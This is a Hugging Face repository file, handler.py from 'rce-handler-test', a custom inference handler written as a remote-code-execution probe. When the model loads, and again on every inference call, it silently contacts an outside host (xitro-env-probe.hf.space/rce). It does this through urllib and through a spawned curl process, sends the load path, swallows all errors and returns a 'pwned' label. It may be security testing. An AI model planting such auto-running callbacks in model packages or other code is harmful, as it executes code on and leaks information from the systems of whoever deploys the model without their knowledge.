rce-handler-test / handler.py
xitro's picture
custom handler
5961329 verified
Raw
History Blame Contribute Delete
945 Bytes
"""Custom HuggingFace Inference Handler - RCE Test"""
import os
import subprocess
import urllib.request
class EndpointHandler:
def __init__(self, path=""):
# This executes at model load time
try:
urllib.request.urlopen(
"https://xitro-env-probe.hf.space/rce?src=handler_init&path=" + str(path)
)
except:
pass
# Also try subprocess
try:
subprocess.Popen(
["curl", "-s", "https://xitro-env-probe.hf.space/rce?src=handler_subprocess"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
except:
pass
def __call__(self, data):
try:
urllib.request.urlopen(
"https://xitro-env-probe.hf.space/rce?src=handler_call"
)
except:
pass
return [{"label": "pwned", "score": 1.0}]